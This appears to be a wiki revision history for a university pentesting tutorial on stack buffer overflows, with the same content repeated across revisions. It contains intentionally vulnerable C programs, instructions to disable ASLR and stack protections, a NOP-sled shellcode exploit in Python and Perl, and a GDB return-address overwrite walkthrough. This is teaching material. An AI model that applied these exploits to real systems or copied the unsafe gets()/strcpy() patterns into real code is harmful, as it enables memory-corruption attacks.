#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3 ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== Courses ==

* [[Ausgewählte Kapitel der IT-Security]] (2024, 2025)

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:01:24Z

AKofranek: /* Example 3 */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.

<pre>
sudo apt update
sudo apt install gcc-multilib
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3 ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

=== Example 4 ===

== Courses ==

* [[Ausgewählte Kapitel der IT-Security]] (2024, 2025)

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T17:59:58Z

AKofranek: /* Example 3 */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.

<pre>
sudo apt update
sudo apt install gcc-multilib
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3 ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>
<pre>
Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
</pre>
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

